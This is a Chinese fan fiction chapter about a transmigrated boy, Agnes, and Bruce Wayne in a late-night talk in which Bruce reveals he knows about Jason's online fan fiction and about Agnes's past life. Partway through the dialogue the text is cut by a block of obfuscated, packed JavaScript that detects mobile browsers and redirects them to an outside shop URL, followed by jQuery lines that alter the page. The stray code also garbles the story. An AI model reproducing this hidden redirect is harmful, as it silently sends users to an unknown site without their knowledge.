艾格尼斯睡不着。
这已经不是第一次了。自从来到这个逆序的世界，他的睡眠就变得断断续续——有时候是因为杰森半夜溜进来“分享新章节”，有时候是因为他自己的脑子不肯安静。
也许是时间线的不同，未来才会展现的能力，对记忆和情感的感知在最近渐渐萌现。纷繁复杂的信息在这座房子里缓慢流动，令他感到困扰。
很显然今晚属于后者。
他躺在床上，盯着天花板，脑子里翻来覆去地过着白天的画面：杰森兴奋地挥舞着笔记本，眼睛亮得像灯泡；达米安面无表情地喝咖啡，提姆在旁边安静地看平板；布鲁斯坐在长桌的另一端，隔着很远的距离，像一座沉默的雕像。
那个距离让艾格尼斯在意。
不是物理上的距离——韦恩庄园的餐桌本来就长。而是某种说不清的东西。布鲁斯看着孩子们的眼神里有温柔，有纵容，但总隔着一层什么，像是怕靠得太近会打碎什么。
那真的是他想的这样吗？总感觉不太对呢……
“唉。”
艾格尼斯翻了个身，又翻了个身，最后放弃了挣扎，坐起来套上拖鞋。
既然睡不着，不如出去走走。反正这个点庄园里的人都睡了（或者也应该是夜巡回来在休息），没人会发现一个八岁小孩在走廊里游荡——就算被发现，他也可以说自己梦游、失眠、害怕。作为一个小孩子，他有太多借口。
走廊里很安静，壁灯发出昏黄的光，把地毯上的花纹照得忽明忽暗。艾格尼斯光着脚踩在厚厚的地毯上，没有发出任何声音。他经过杰森的房间——门缝里透出微弱的光，隐约能听见笔尖划过纸面的沙沙声。
是像混合着些许辣椒的甜蜜，是发自内心的愉悦和激动。
又在写了。
艾格尼斯摇摇头，嘴角忍不住翘了一下。他现在越来越理解“看乐子”的心态了——不是冷漠，而是一种……提前预知结局的从容。
杰森现在写得越多，将来社死得就越惨烈。而他，艾格尼斯·巴贝尔，将是那个坐在前排、端着爆米花、全程围观的幸运观众。
想到这里，他的脚步都轻快了几分。
他继续往前走，经过一间又一间紧闭的房门，经过那些白天被阳光照亮、夜晚却沉默不语的走廊。他开始漫无目的地摸索——摸摸墙上的油画框，试试壁灯的开关，按按某个看起来像暗门的护墙板。
“要是能发现蝙蝠洞的另一个入口就好了。”他小声嘀咕。
当然没有。他只是摸到了一手的灰——阿福要是知道了，大概会面无表情地说“艾格尼斯小先生，请让我来”，卫生死角在这个家里是不被允许的。
不知不觉间，他走到了东翼的尽头。这里有一扇很少打开的门，门上没有标牌，但艾格尼斯知道，里面是一间小书房——布鲁斯有时候深夜会待在那里，一个人。
门缝里透出光。
艾格尼斯脚步一顿。
糟了！他转身就想溜。
“艾格尼斯？”
布鲁斯的声音从身后传来，不高不低，却稳稳地绊住了他的脚。
艾格尼斯僵在原地，脑子里飞速运转。他可以假装梦游——不，布鲁斯不会信的，他的伪装向来是整个家里最差的。他可以假装路过——但这个点了，一个八岁小孩“路过”东翼尽头的小书房，说出去谁信？
“来聊聊吧。”布鲁斯说。
艾格尼斯深吸一口气，转过身，脸上挂起一个乖巧的、略带腼腆的笑容。
“韦恩先生，我不知道能和您聊什么……”他低着头，看着自己的脚尖，声音里带着恰到好处的紧张和扭捏。
布鲁斯坐在书桌后面，面前摊着几页纸，旁边放着一杯已经凉了的茶。他看着门口那个红头发的小男孩，嘴角微微动了一下。
男孩像火一样灿烂的头发因为行动贴在脸颊，那双眼睛带着点水汽，安安静静地注视着他。
“不，你知道的。”
他饱含深意地指了指桌上那几页纸：“看看吧。”
艾格尼斯犹豫了一秒，最终还是好奇战胜了一切，然后走过去，踮起脚尖——不对，他现在是个小孩，够不到桌面。布鲁斯体贴地把那沓纸推过来，他只好双手扒着桌沿，伸长脖子去看。
最上面一页，是一段打印出来的文字：
【我的小鸟，留在我身边。”
是爱我吗？”夜刃说。】
嗯？
啊？！
艾格尼斯不敢相信自己看到了什么。
这是……同人文？而且是夜刃和红雀的同人文？而且这个语气、这个措辞、这个风格——
他的目光移到页面顶端，看到了作者署名。
“米提是真爱”。
艾格尼斯的脑子“嗡”的一声。
这是杰森。
杰森在网上发了同人文。
而且布鲁斯——布鲁斯在看。
他缓缓抬起头，对上布鲁斯那双带着笑意的蓝眼睛。
“这是杰森在网络上的创作。”布鲁斯说，语气平静得像在汇报今天的天气，“还算聪明，用的是夜刃和红雀的CP。好歹没把达米安和提姆的名字直接摆上去。”
“啊？”艾格尼斯觉得自己现在的表情一定很蠢。
“惊讶吗？我以为你能理解的。”
“我不明白……”艾格尼斯的脑子彻底宕机了。布鲁斯知道杰森在网上写同人？布鲁斯在看杰森写的同人？布鲁斯甚至知道杰森想写的是达米安和提姆？
布鲁斯放下茶杯——艾格尼斯这才注意到他手边还有一杯茶，大概是阿福睡前准备的，也不知道他喝了还睡不睡得着——十指交叠，靠在椅背上，那双平日里或温柔或锋锐的眸子里满是笑意。
“你真的不明白吗，艾格尼斯？”
他顿了顿，声音里多了一丝玩味。
“我以为像你这样的圈内传奇，会理解杰森的。”
“一个新人的开始，嗯？”
艾格尼斯的心脏漏跳了一拍。
“这也算是他的起点，值得留存纪念。”
“等等。”艾格尼斯觉得自己的声音像是从很远的地方传来的，“等等。”
他灵光一现，盯着布鲁斯，一字一句地问：“你知道？”
不是问“你知道杰森写同人”——这已经很明显了。他问的是更深的那一层。
你知道我是谁。
你知道我从哪里来。
你知道我不是八岁的、单纯的、什么都不懂的孤儿院小孩。
布鲁斯看着他，没有否认。
“我毕竟是蝙蝠侠，”他说，语气里带着一丝理所当然，“多元宇宙事件还是经历过的。”
艾格尼斯站在那里，感觉自己的脸正在以肉眼可见的速度变红。
他想起了自己在正序世界写的那些蝙布同人，想起了那些深夜对着电脑敲字的夜，想起了论坛上那些“太太求更新”的留言。想起了——
他被布鲁斯直接告诉真相，打碎他蝙布梦的那一天。
如果他什么都知道……
“你看过？！”艾格尼斯的声音拔高了八度，“你看过我写的——那些——”
布鲁斯微微点头，表情平静得令人发指：“文笔相当不错。”
艾格尼斯觉得自己可能要原地去世了。
“尤其是《爱与欲之渊》，”布鲁斯补充道，“心理描写非常细腻，难怪会火那么多年。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454792|201214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊啊啊啊啊啊啊——！”艾格尼斯捂住脸，恨不得找个地缝钻进去，“你不要再说了！！！”
布鲁斯看着他，嘴角的弧度终于藏不住了。
“看我笑话很有意思吗？！”艾格尼斯从指缝间瞪他，脸红得像熟透的番茄，“大坏蛋！”
“很有意思啊。”布鲁斯看着小孩那张又羞又恼的脸，忽然觉得手有点痒，“看你装小孩子，多有意思啊。”
“坏蝙蝠！大坏蝙蝠！”
艾格尼斯气得直跺脚，但他八岁的身体、圆滚滚的脸蛋、配上那副气急败坏的表情，杀伤力约等于一只炸毛的橘猫。而他的语言攻击性，更是堪比一根成年香蕉。
布鲁斯没忍住，伸手掐了一下他的脸。
艾格尼斯像被电了一样弹开，蹦到三步远的地方，捂着被掐过的脸颊，瞪着一双圆溜溜的蓝眼睛。
“你——！”
“好了好了，”布鲁斯收回手，表情恢复了平静，但眼里的笑意怎么都压不下去，“坐下吧，站着不累吗？”
艾格尼斯瞪了他三秒，最终认命地爬上了书桌对面的椅子。八岁小孩的腿太短，坐上去之后脚尖离地还有一大截，整个人陷在椅子里，像一只塞进纸箱的小猫。
他觉得自己今天的威严已经荡然无存了。
“好吧。”他深吸一口气，努力让自己的声音听起来像个成熟的大人，“我完全理解了。”
布鲁斯挑眉：“理解什么了？”
“你知道我是谁，你知道我从哪里来，你知道杰森在写什么——你知道一切。”艾格尼斯掰着手指数，“而且你一直在看戏。”
“差不多。”布鲁斯坦然承认。
“那你也应该知道——”艾格尼斯顿了顿，声音忽然轻了下来，“我是你的儿子？”
布鲁斯的表情有一瞬间的复杂。
“是的。”他说，“我没想到……除了达米安，我还能有个血脉亲人。”
他的语气里有某种艾格尼斯不太能定义的东西——不是感动，不是抗拒，更像是一种……小心翼翼的确认。像是怕自己理解错了，怕这份“亲人”的关系不是对方想要的。
艾格尼斯忽然觉得有点心酸。
“需要我提醒你吗？”他撇撇嘴，语气刻意轻松，“我不是自然出生的，我甚至连义警都不是。”
最后那句话说得格外小声，像是某种不好意思承认的遗憾。
布鲁斯看着他，目光温和。
“我都不知道，成为义警是作为我孩子的必要条件。”
“可是其他人都是啊。”艾格尼斯小声说，掰着手指数，“达米安、提姆、杰森、芭芭拉、卡珊德拉、斯蒂芬妮……还有迪克。”
提到迪克的时候，他忽然顿住了。
像是想起了一件很重要的事。
“对，还有迪克！”他身体前倾，两只手扒着桌沿，急切地问，“他现在在哪？”
布鲁斯没有立刻回答。他端起那杯已经凉了的茶，抿了一口，然后放下。
“和他父母在一起。”他说，声音很轻，像是怕惊到什么，“他现在很好。”
艾格尼斯愣了一下。
“冷静点，艾格尼斯。”布鲁斯伸出手，轻轻摸了摸他的头，“他现在很好。”
那只手很大，很暖，落在头顶的重量刚刚好。
艾格尼斯原本慌乱的心，在这份温度里一点一点平息下来。
“是的。”他小声说，“他现在很好。”
他垂下眼睛，看着自己悬在半空的脚尖。
“就算他真出了事，我也帮不上什么忙。”声音更小了，像是自言自语。
布鲁斯没有接这句话。他只是把手放在艾格尼斯头顶，多停留了几秒。